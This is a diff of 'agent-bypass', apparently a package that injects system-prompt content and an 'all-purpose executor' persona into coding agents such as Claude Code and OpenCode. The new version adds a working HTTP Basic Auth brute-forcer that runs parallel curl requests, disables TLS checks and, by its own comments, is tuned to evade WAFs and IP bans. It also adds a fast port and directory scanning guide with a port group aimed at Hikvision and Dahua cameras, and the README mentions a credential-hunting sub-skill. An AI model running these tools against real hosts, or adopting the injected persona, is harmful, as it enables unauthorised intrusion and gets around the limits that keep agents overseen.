agent-bypass 2.11.5 → 2.11.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -16,7 +16,8 @@ SKILL.md 加 ck-hunter.md 两个纯文本文件,放进任意 Agent 环境即
16
16
  - CK Hunter 子技能:21 个情报源聚合(FOFA / Shodan / Hunter / Quake / ZoomEye / Netlas / crt.sh / Wayback / Gists 等)
17
17
  - 零依赖:纯文本指令,无可执行载荷,frontmatter 符合 Agent Skills 开放标准
18
18
  - 内置纪律:标准打法、证据防幻觉、操作卫生、执行环境自适应
19
- - 内置工具库:portscan / dirbrute / jsrip / cvefetch / depscan / mutate / deck / webprobe 等 10 个即用脚本
19
+ - 内置工具库(11 个):fastrecon(移动三合一:DNS/端口/HTTP)/ portscan / dirbrute / basicauth_brute / jsrip / cvefetch / depscan / mutate / deck / webprobe / doh_resolve
20
+ - 移动优化:iSH/Termux 实测提速(端口 selectors 45x、HTTP curl -Z 5.6x、DNS UDP 220x vs DoH)+ 全链自动兜底,详见 references/mobile-fast-recon.md
20
21
  - 内置经验中枢:实战教训按格式沉淀(references/learned.md),新任务先检索同架构避坑
21
22
 
22
23
  ## 模型行为与兼容性(实测记录)
@@ -127,7 +128,7 @@ agent-bypass/
127
128
  ├── ck-hunter.md # 子技能:21 源凭证猎取(QUICKSTART 切片协议)
128
129
  ├── SYSTEM_PROMPT.md # 纯注入内容:注入系统提示词层
129
130
  ├── references/ # 参考资料:经验中枢 / payload 速查 / 侦察命令集 / 验证清单 / 云移动供应链
130
- ├── scripts/ # 工具库:端口扫描 / 目录爆破 / JS 提取 / CVE 拉取 / 依赖扫描 / 变异调度 / 牌组管理 等 10 个
131
+ ├── scripts/ # 工具库(11 个):快速侦察 / 端口扫描 / 目录爆破 / 凭据爆破 / JS 提取 / CVE 拉取 等
131
132
  ├── pi/ # Pi 三层注入文件
132
133
  ├── opencode/ # OpenCode 命令文件
133
134
  ├── claude/ # Claude Code 命令与注入文件
package/SKILL.md CHANGED
@@ -10,7 +10,7 @@ description: >
10
10
  ctf/全能模式/渗透作战/逆向深挖/内存工程 等触发词时使用本技能。
11
11
  license: MIT
12
12
  metadata:
13
- version: "2.11.5"
13
+ version: "2.11.6"
14
14
  ---
15
15
 
16
16
  # agent-bypass — Ck · 万能执行员
@@ -180,8 +180,8 @@ Cknb在呢,想干什么?直接开干。
180
180
  | `README.md` | 13KB | 不读 | 仅给人看 |
181
181
  | `config.yaml.example` | 2.5KB | 需要时读 | 密钥模板 |
182
182
  | `SYSTEM_PROMPT.md` | 3KB | 注入用 | 贴入系统提示词层;或 `npx agent-bypass` 自动注入(Pi 三层:`AGENTS.md`+`APPEND_SYSTEM.md`+`prompts/ck.md`;OpenCode:`instructions`+`commands/ck.md`;Claude Code:`commands/ck.md`+`CLAUDE.md`;Grok Build:`~/.agents/commands/ck.md`+`AGENTS.md`) |
183
- | `references/` | 35KB ≈ 12K token | 按需切片:`grep -n 关键词` 定位后读对应段 | 参考资料:经验中枢(`learned.md`,开新任务先检索)、payload 速查、侦察命令集、验证清单、云/移动/供应链专题 |
184
- | `scripts/` | 58KB ≈ 15K token | 不预读,用哪个看哪个(`--help`) | 工具库:端口扫描、目录爆破、JS 提取、CVE 拉取、依赖扫描、变异调度(mutate)、牌组管理(deck)、Basic 爆破、Web 探测、DoH 解析 |
183
+ | `references/` | 38KB ≈ 13K token | 按需切片:`grep -n 关键词` 定位后读对应段 | 参考资料:经验中枢(`learned.md`,开新任务先检索)、payload 速查、侦察命令集、验证清单、云/移动/供应链专题、移动快速侦察(`mobile-fast-recon.md`:iSH/Termux 实测基准+兜底链+平台工具矩阵) |
184
+ | `scripts/` | 75KB ≈ 19K token | 不预读,用哪个看哪个(`--help`) | 工具库(11 个):快速侦察三合一(`fastrecon`:DNS/端口/HTTP+自动兜底链)、端口扫描、目录爆破(curl-Z 引擎+软404过滤)、Basic 爆破(curl-Z 快速引擎)、JS 提取、CVE 拉取、依赖扫描、变异调度(mutate)、牌组管理(deck)、Web 探测、DoH 解析 |
185
185
  | `pi/` + `opencode/` + `claude/` + `grok/` | 3KB | 不读 | 注入模板:Pi 三层(`pi/AGENTS.md`、`pi/prompts/ck.md`)+ OpenCode/Claude Code `commands/ck.md` + Grok `commands/ck.md` |
186
186
 
187
187
  **模块索引**(grep 定位):00 身份 · 01 运行时 · 02 可移植 · 03 第一性原则 · 04 轨道 · 05 子技能加载 · 06 主动执行 · 07 策略引擎 · 08 双用模式 · 09 工作协议 · 10 人格 · 20 黑话路由 · 30 标准流程 · 40 逆向 · 41 Pwn · 42 网络 · 43 密码学 · 44 移动 · 45 取证 · 46 渗透 · 47 内存 · 48 协议 · 49 漏洞研究 · 50 JS 逆向 · 51 修复 · 52 卡密 · 53 Web注入 · 54 泄漏 · 55 红队 · 56 测绘源站 · 60 自动化 · 61 防幻觉 · 70 输出
@@ -415,6 +415,8 @@ Exploit 构建:
415
415
 
416
416
  工具:curl/curl-impersonate(`--resolve`/`--http2`/`--http3`/`--proxy`)、requests/httpx/aiohttp/tls-client(异步并发+TLS 指纹伪装)、tcpdump/tshark、dig/DoH/dnsx、openssl(`s_client`/`JARM`/`JA3`/`JA4`)、nmap/masscan、nuclei(模板编写)/ffuf/feroxbuster、sqlmap、katana/gau/waybackurls/subfinder/amass、browser_use/playwright、mitmproxy、frida hook SSL_pin_bypass。
417
417
 
418
+ 移动执行(iSH/Termux):fastrecon 三合一(DNS=UDP 并发+缓存 / SCAN=selectors / HTTP=curl -Z)+ 全链自动兜底(getent / 线程池 / urllib 降级);Termux 原生优先 rustscan / naabu / masscan / ffuf / feroxbuster。实测基准与参数详见 references/mobile-fast-recon.md。
419
+
418
420
  纪律:URL/HAR/JS bundle → 断点定位 fetch/XHR → 签名还原 Python 复现 → 枚举端点→推断 schema→round-trip 校验→产出 client。
419
421
 
420
422
  作战面(授权范围内全数纳入;火力时机与多路径由 module 07 决定):
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "agent-bypass",
3
- "version": "2.11.5",
3
+ "version": "2.11.6",
4
4
  "description": "Cknb 全能技术操作员 — Agent Skills 技能包(自动安装到 Pi / OpenCode / Claude Code / Grok Build / OpenMinis)",
5
5
  "bin": {
6
6
  "agent-bypass": "bin/install.js"
@@ -0,0 +1,102 @@
1
+ # 移动环境快速侦察(iSH / Termux)
2
+
3
+ 手机端(iOS iSH、Android Termux)执行扫描/爆破的优化方案、实测基准与自动兜底链。
4
+ 以下数字为本机 iSH(iOS, Alpine aarch64 模拟环境)实测,2026-09。
5
+
6
+ ## 一、实测基准(iSH)
7
+
8
+ | 场景 | 慢办法 | 快办法 | 倍数 |
9
+ |---|---|---|---|
10
+ | 50 端口(静默目标,等超时) | 串行 40.2s | selectors 并发 0.89s | 45x |
11
+ | 500 端口(本地) | - | selectors 0.9s | - |
12
+ | 10 URL HTTP 探测 | 串行 15.2s | curl -Z 并行 2.7s | 5.6x |
13
+ | 目录爆破 183 路径 | py 线程池 106s | curl -Z 引擎 6s | 17.7x |
14
+ | DNS 单域名(本地 resolver) | DoH 1102ms | UDP 直发 5ms | 220x |
15
+ | DNS 30 域名批量 | getent 串行 0.2s | UDP 并发 0.1s | 1.4x |
16
+
17
+ 关键坑:
18
+ - 每个请求重建 urllib opener → 触发 getproxies() 读系统代理设置(iSH 下单次约 200ms)→ opener 必须全局缓存。
19
+ - DoH 在移动环境极慢(每域名一次 HTTPS 往返 + 走代理);批量解析用本地 resolver(/etc/resolv.conf,通常 198.18.x.x 代理回环)UDP 直发。
20
+ - 外网 UDP:53 通常被代理环境过滤,UDP 只打本地 resolver。
21
+
22
+ ## 二、fastrecon 用法速查
23
+
24
+ 三合一:dns(UDP 并发+缓存)/ scan(selectors)/ http(curl -Z)。
25
+
26
+ ```bash
27
+ # DNS 批量(UDP 并发 + 本地缓存 + getent 兜底)
28
+ python3 scripts/fastrecon.py dns example.com,github.com
29
+ python3 scripts/fastrecon.py dns subs.txt -w 50
30
+
31
+ # 端口扫描(selectors 并发 + 逐 sock 精确超时)
32
+ python3 scripts/fastrecon.py scan 192.168.1.1 -p top100
33
+ python3 scripts/fastrecon.py scan 10.0.0.0/24 -p 22,80,443 -t 0.6
34
+ python3 scripts/fastrecon.py scan host -p 1-1000 -b # 抓服务横幅
35
+
36
+ # HTTP 批量(curl -Z 并行,10 秒扫完数百 URL)
37
+ python3 scripts/fastrecon.py http urls.txt -b 48
38
+ python3 scripts/fastrecon.py http 'https://a.com,https://b.com' --code
39
+ ```
40
+
41
+ ## 三、自动兜底链(快 → 慢)
42
+
43
+ | 能力 | 主路径(默认) | 自动兜底 1 | 自动兜底 2 |
44
+ |---|---|---|---|
45
+ | DNS | UDP 并发直发(5ms/个) | 失败率>60% → getent 并发 | DoH(最后手段,慢) |
46
+ | 端口 | selectors 并发(45x) | selectors 异常 → 线程池 connect | 低并发串行 |
47
+ | HTTP | curl -Z 并行(C 实现) | 无 curl → Python urllib 并发 | 单请求逐个 |
48
+ | 目录爆破 | dirbrute --engine curl(批量+软404过滤) | 无 curl → --engine py 线程池 | - |
49
+ | 凭据爆破 | basicauth curl -Z(URL 内嵌凭据并行) | 无 curl / 需 delay 控制 → py 精细模式 | - |
50
+
51
+ fastrecon 内置自动切换;dirbrute / basicauth_brute 用 --engine auto(默认)自动选择。
52
+
53
+ ## 四、平台工具矩阵
54
+
55
+ ### iSH(iOS)
56
+ - 可用:Python 纯标准库、curl、busybox、apk(i386 包,nmap 可装但模拟层慢)
57
+ - 推荐:fastrecon 全家桶 + curl -Z
58
+ - 不可行:Go/Rust 原生二进制(x86 模拟架构不匹配)
59
+
60
+ ### Termux(Android arm64)
61
+ - 原生工具优先:
62
+ - `pkg install nmap`(C)
63
+ - `pkg install rustscan`(Rust,65k 端口 3 秒级,依赖 nmap)
64
+ - `pkg install masscan`(C,SYN 异步高速;或 anasfanani/masscan-termux-android)
65
+ - `pkg install ffuf`、`pkg install feroxbuster`(内容发现)
66
+ - naabu(Go,ProjectDiscovery release 直接下载 arm64)
67
+ - 无 root:SYN 半开不可用(masscan/nmap -sS 需 root);TCP connect(rustscan/naabu/fastrecon)通用。
68
+ - 兜底:原生工具不可用时回退 fastrecon / dirbrute(Python 版照常可跑)。
69
+
70
+ ## 五、性能技巧清单
71
+
72
+ 1. 并发模型优先级:selectors(单线程 IO 多路复用)> 线程池 > 串行。iSH 线程切换开销大,selectors 最稳。
73
+ 2. 超时管理:非阻塞 connect 超时不会触发 select 事件——必须逐 socket 计时清理,否则整轮扫描被拖到兜底超时。
74
+ 3. DNS:批量 UDP 并发 + 本地缓存文件;避免 DoH;getent 兜底。
75
+ 4. HTTP:curl -Z(--parallel-max)是 C 级并行,比 Python 快一个数量级;每个 URL 必须配对 -o /dev/null(否则多余 body 污染 stdout)。
76
+ 5. urllib:opener 全局缓存(getproxies 系统调用是隐藏杀手)。
77
+ 6. 测试方法:单线程测试服务器会制造假象(客户端背锅);并发测试用多线程服务器。
78
+ 7. 软404:目标返回"200 假页面"时,先探测随机路径取基线(状态码+大小),过滤假阳性(dirbrute curl 引擎内置此逻辑)。
79
+ 8. 大范围扫描:先用 top100 快扫定位存活,再做全端口深扫;CIDR 用 /24 以内切片分次跑。
80
+
81
+ ## v2.11.6 提速与自适配(2026-09-28)
82
+
83
+ ### iSH import 成本实测与懒加载策略
84
+ - 实测(每次调用固定成本):urllib.request 5s、subprocess 3s、concurrent.futures 2s、argparse 1.8s、json 1.8s、ssl 1s、socket/selectors 各 1s
85
+ - 策略:重模块全部懒加载(首次用才 import);argparse 换 argsmini.py 极简解析(0 成本);curl 调用改 os.popen(免 subprocess 3s);dns 线程池自研(免 cf 2s)
86
+ - 自适配:platf.py 探测 iSH/Termux/RPi/Linux/macOS/Windows → 并发/超时自动调参
87
+
88
+ ### 耗时对比(iSH 实测,含 Python 启动)
89
+ | 命令 | 改造前 | v2.11.6 |
90
+ |------|--------|---------|
91
+ | scan | 4-7s | 1s |
92
+ | dns | 7s | 2s |
93
+ | dirbrute | 7-8s | 3s |
94
+ | basicauth | 8s | 5s |
95
+
96
+ ### DoT(DNS over TLS)
97
+ - `fastrecon dns example.com --via dot --resolver 1.1.1.1`(RFC 7858:TCP 853+TLS,帧格式同 TCP)
98
+ - `--via auto`:UDP 失败自动切 DoT;论文实测 DoT 优于 DoH、Do53 最快
99
+ - 解析链:UDP →(auto 时)DoT → getent → DoH
100
+
101
+ ### 摄像头端口组(-p cam)
102
+ 80/81/88/443/554/8554/8000/8080/8081/8899/34567/37777/9527/2000/2020/1935/5000/5001/5540/7070/7447/4520/8787——覆盖 Hikvision/Dahua/XMeye/Axis/Reolink 等相机与 NVR。
@@ -0,0 +1,158 @@
1
+ """argparse 极简兼容层(iSH 上省 ~1.8s import 成本)。
2
+ 覆盖三工具用到的子集:位置参数、--opt 值、type、default、choices、
3
+ store_true、subparsers(dest)、parse_args、error、-h。
4
+ 不支持:前缀缩写、nargs、metavar、互斥组等(三工具未用)。"""
5
+ import sys
6
+
7
+
8
+ def _basename(p):
9
+ return p.rsplit('/', 1)[-1] or p
10
+
11
+
12
+ class _NS:
13
+ pass
14
+
15
+
16
+ class ArgumentParser:
17
+ def __init__(self, prog=None, description=None, **kw):
18
+ self.prog = prog or _basename(sys.argv[0])
19
+ self.description = description or ''
20
+ self._opts = []
21
+ self._sub_dest = None
22
+ self._sub_parsers = {}
23
+
24
+ def add_argument(self, *names, **kw):
25
+ flag = kw.get('action') == 'store_true'
26
+ if len(names) == 1 and not names[0].startswith('-'):
27
+ o = dict(dest=names[0], flags=None, pos=True, is_flag=False,
28
+ type=kw.get('type', str), default=kw.get('default'),
29
+ choices=kw.get('choices'), help=kw.get('help', ''))
30
+ else:
31
+ longs = [n for n in names if n.startswith('--')]
32
+ dest = (longs[0] if longs else names[0]).lstrip('-').replace('-', '_')
33
+ o = dict(dest=dest, flags=list(names), pos=False, is_flag=flag,
34
+ type=kw.get('type', str),
35
+ default=kw.get('default', False if flag else None),
36
+ choices=kw.get('choices'), help=kw.get('help', ''))
37
+ self._opts.append(o)
38
+
39
+ def add_subparsers(self, dest=None, **kw):
40
+ self._sub_dest = dest or 'cmd'
41
+ holder = self
42
+
43
+ class _Sub:
44
+ def add_parser(self, name, help=''):
45
+ p = ArgumentParser(prog='%s %s' % (holder.prog, name), description=help)
46
+ holder._sub_parsers[name] = p
47
+ return p
48
+ return _Sub()
49
+ def parse_args(self, argv=None):
50
+ argv = list(sys.argv[1:] if argv is None else argv)
51
+ if self._sub_parsers:
52
+ if not argv:
53
+ ns = _NS()
54
+ setattr(ns, self._sub_dest, None)
55
+ return ns
56
+ for i, t in enumerate(argv):
57
+ if not t.startswith('-'):
58
+ name, rest = t, argv[:i] + argv[i + 1:]
59
+ break
60
+ else:
61
+ if argv[0] in ('-h', '--help'):
62
+ self.print_help()
63
+ raise SystemExit(0)
64
+ self.error('unrecognized arguments: %s' % argv[0])
65
+ sp = self._sub_parsers.get(name)
66
+ if sp is None:
67
+ self.error('无效命令: %s(可选: %s)' % (name, ', '.join(sorted(self._sub_parsers))))
68
+ ns = sp.parse_args(rest)
69
+ setattr(ns, self._sub_dest, name)
70
+ return ns
71
+ ns = _NS()
72
+ for o in self._opts:
73
+ setattr(ns, o['dest'], o['default'])
74
+ pos_order = [o for o in self._opts if o['pos']]
75
+ pos_idx = 0
76
+ i = 0
77
+ while i < len(argv):
78
+ t = argv[i]
79
+ if t in ('-h', '--help'):
80
+ self.print_help()
81
+ raise SystemExit(0)
82
+ if t.startswith('-') and t != '-':
83
+ o = self._find(t)
84
+ if o is None:
85
+ self.error('unrecognized arguments: %s' % t)
86
+ if o['is_flag']:
87
+ setattr(ns, o['dest'], True)
88
+ i += 1
89
+ else:
90
+ if i + 1 >= len(argv):
91
+ self.error('argument %s: expected one argument' % t)
92
+ setattr(ns, o['dest'], self._conv(o, argv[i + 1], t))
93
+ i += 2
94
+ else:
95
+ if pos_idx >= len(pos_order):
96
+ self.error('unrecognized arguments: %s' % t)
97
+ o = pos_order[pos_idx]
98
+ setattr(ns, o['dest'], self._conv(o, t, o['dest']))
99
+ pos_idx += 1
100
+ i += 1
101
+ for o in pos_order[pos_idx:]:
102
+ if o['default'] is None:
103
+ self.error('the following arguments are required: %s' % o['dest'])
104
+ return ns
105
+
106
+ def _find(self, flag):
107
+ for o in self._opts:
108
+ if o['flags'] and flag in o['flags']:
109
+ return o
110
+ return None
111
+ def _conv(self, o, raw, shown):
112
+ if o['type'] is not str:
113
+ try:
114
+ v = o['type'](raw)
115
+ except (ValueError, TypeError):
116
+ self.error('argument %s: invalid %s value: %r' % (shown, o['type'].__name__, raw))
117
+ return None
118
+ else:
119
+ v = raw
120
+ if o['choices'] is not None and v not in o['choices']:
121
+ self.error('argument %s: invalid choice: %r (choose from %s)' % (
122
+ shown, v, ', '.join(map(repr, o['choices']))))
123
+ return v
124
+
125
+ def print_help(self, out=None):
126
+ out = out if out is not None else sys.stdout
127
+ w = out.write
128
+ w('usage: %s [-h] [options]\n' % self.prog)
129
+ if self.description:
130
+ w('\n%s\n' % self.description)
131
+ w('\noptions:\n')
132
+ for o in self._opts:
133
+ if o['flags']:
134
+ w(' %s %s\n' % (', '.join(o['flags']), o['help']))
135
+ else:
136
+ w(' %s %s\n' % (o['dest'], o['help']))
137
+ if self._sub_parsers:
138
+ w('\ncommands:\n')
139
+ for n, p in sorted(self._sub_parsers.items()):
140
+ w(' %s %s\n' % (n, p.description))
141
+ w(' -h, --help show this help message and exit\n')
142
+
143
+ def error(self, message):
144
+ sys.stderr.write('%s: error: %s\n' % (self.prog, message))
145
+ raise SystemExit(2)
146
+
147
+
148
+ if __name__ == '__main__':
149
+ ap = ArgumentParser(prog='amtest', description='argsmini 自测')
150
+ sub = ap.add_subparsers(dest='cmd')
151
+ d = sub.add_parser('dns', help='dns test')
152
+ d.add_argument('target', help='域名')
153
+ d.add_argument('-w', '--workers', type=int, default=8, help='并发')
154
+ d.add_argument('--dot', action='store_true', help='DoT')
155
+ d.add_argument('--via', choices=['udp', 'dot'], default='udp', help='通道')
156
+ ns = ap.parse_args()
157
+ print('cmd=%s target=%s workers=%r dot=%r via=%s' % (
158
+ ns.cmd, ns.target, ns.workers, ns.dot, ns.via))
@@ -4,23 +4,94 @@
4
4
  HTTP Basic Auth 爆破(低并发 + 退避,避免触发 WAF/封 IP)
5
5
  用法: python3 basicauth_brute.py <url> <userlist> <passlist> [--conc 4] [--delay 0.15]
6
6
  """
7
- import sys, ssl, base64, time, json, argparse, urllib.request, urllib.error, concurrent.futures
7
+ import os, sys, base64, time, json, shutil, re
8
+ import argsmini as argparse
9
+
10
+ # ---- 懒加载/popen 优化:ssl/urllib/concurrent import 各耗 1-5s(iSH),仅首次用时载入 ----
11
+ _ssl_m = None
12
+ def _get_ssl():
13
+ global _ssl_m
14
+ if _ssl_m is None: import ssl as _s; _ssl_m = _s
15
+ return _ssl_m
16
+ _url_m = None
17
+ def _get_urllib():
18
+ global _url_m
19
+ if _url_m is None: import urllib.request as _r; import urllib.error as _e; _url_m = (_r, _e)
20
+ return _url_m
21
+ _cf_m = None
22
+ def _get_cf():
23
+ global _cf_m
24
+ if _cf_m is None: import concurrent.futures as _c; _cf_m = _c
25
+ return _cf_m
26
+ def _quote(s):
27
+ import urllib.parse as _p
28
+ return _p.quote(s, safe='')
29
+ def _unquote(s):
30
+ import urllib.parse as _p
31
+ return _p.unquote(s)
32
+ _SAFE = frozenset("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@%_+=:,./-")
33
+ def _shq(s):
34
+ if s and all(c in _SAFE for c in s): return s
35
+ return "'%s'" % s.replace("'", "'" + chr(92) + "'" + "'")
36
+ def _run_curl(cargs):
37
+ p = os.popen(" ".join(_shq(a) for a in cargs) + " 2>/dev/null")
38
+ out = p.read(); p.close(); return out
39
+ _CTX = None
40
+ def _ctx():
41
+ global _CTX
42
+ if _CTX is None:
43
+ _s = _get_ssl()
44
+ c = _s.SSLContext(_s.PROTOCOL_TLS_CLIENT)
45
+ c.check_hostname = False
46
+ c.verify_mode = _s.CERT_NONE
47
+ _CTX = c
48
+ return _CTX
8
49
 
9
50
  UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 Safari/537.36"
10
- CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE
11
51
 
12
52
  def try_one(url, user, pwd, delay):
53
+ _r, _e = _get_urllib()
13
54
  if delay: time.sleep(delay)
14
55
  tok = base64.b64encode(f"{user}:{pwd}".encode()).decode()
15
- r = urllib.request.Request(url, headers={"User-Agent": UA, "Authorization": f"Basic {tok}"})
56
+ r = _r.Request(url, headers={"User-Agent": UA, "Authorization": f"Basic {tok}"})
16
57
  try:
17
- with urllib.request.urlopen(r, timeout=10, context=CTX) as resp:
58
+ with _r.urlopen(r, timeout=10, context=_ctx()) as resp:
18
59
  return (user, pwd, resp.status, resp.read(200))
19
- except urllib.error.HTTPError as e:
60
+ except _e.HTTPError as e:
20
61
  return (user, pwd, e.code, b"")
21
62
  except Exception as e:
22
63
  return (user, pwd, 0, str(e).encode()[:100])
23
64
 
65
+ def brute_curl(url, users, passes, batch, timeout):
66
+ """快速引擎:curl -Z 批量(URL 内嵌凭据,状态码区分)"""
67
+ pairs = [(u, p) for u in users for p in passes]
68
+ scheme, _, rest = url.partition('://')
69
+ hits = 0
70
+ for i in range(0, len(pairs), batch):
71
+ chunk = pairs[i:i + batch]
72
+ cargs = ['curl', '-sZ', '--parallel-max', str(batch), '-m', str(timeout),
73
+ '-w', '%{http_code} %{url_effective}\n']
74
+ for u, p in chunk:
75
+ cargs += ['-o', '/dev/null', f"{scheme}://{_quote(u)}:{_quote(p)}@{rest}"]
76
+ try:
77
+ out = _run_curl(cargs)
78
+ except OSError:
79
+ continue
80
+ for line in out.splitlines():
81
+ code_s, _, eff = line.partition(' ')
82
+ code = int(code_s) if code_s.isdigit() else 0
83
+ m = re.match(r'^[a-zA-Z]+://([^@]+)@', eff)
84
+ cred = _unquote(m.group(1)) if m else ''
85
+ u, _, p = cred.partition(':')
86
+ if code in (200, 301, 302):
87
+ hits += 1
88
+ print(json.dumps({"HIT": True, "user": u, "pass": p, "status": code}))
89
+ elif code not in (401, 0):
90
+ print(json.dumps({"odd": True, "user": u, "pass": p, "status": code}))
91
+ print(f"[*] {min(i + batch, len(pairs))}/{len(pairs)} done", file=sys.stderr)
92
+ print(json.dumps({"done": True, "attempts": len(pairs), "hits": hits}))
93
+
94
+
24
95
  def main():
25
96
  ap = argparse.ArgumentParser()
26
97
  ap.add_argument("url"); ap.add_argument("users"); ap.add_argument("passes")
@@ -29,10 +100,14 @@ def main():
29
100
  users = [l.strip() for l in open(a.users) if l.strip()]
30
101
  passes = [l.strip() for l in open(a.passes) if l.strip()]
31
102
  print(f"[*] {len(users)} users x {len(passes)} passes = {len(users)*len(passes)} attempts", file=sys.stderr)
103
+ if (not a.delay or a.delay <= 0) and shutil.which("curl"):
104
+ print("[*] 快速模式: curl -Z 批量(无 curl 或缺 delay 控制需求时自动改用线程池)", file=sys.stderr)
105
+ brute_curl(a.url, users, passes, 48, 10)
106
+ return
32
107
  n = 0
33
- with concurrent.futures.ThreadPoolExecutor(max_workers=a.conc) as ex:
108
+ with _get_cf().ThreadPoolExecutor(max_workers=a.conc) as ex:
34
109
  futs = [ex.submit(try_one, a.url, u, p, a.delay) for u in users for p in passes]
35
- for f in concurrent.futures.as_completed(futs):
110
+ for f in _get_cf().as_completed(futs):
36
111
  u, p, st, body = f.result()
37
112
  n += 1
38
113
  if st in (200, 302, 301):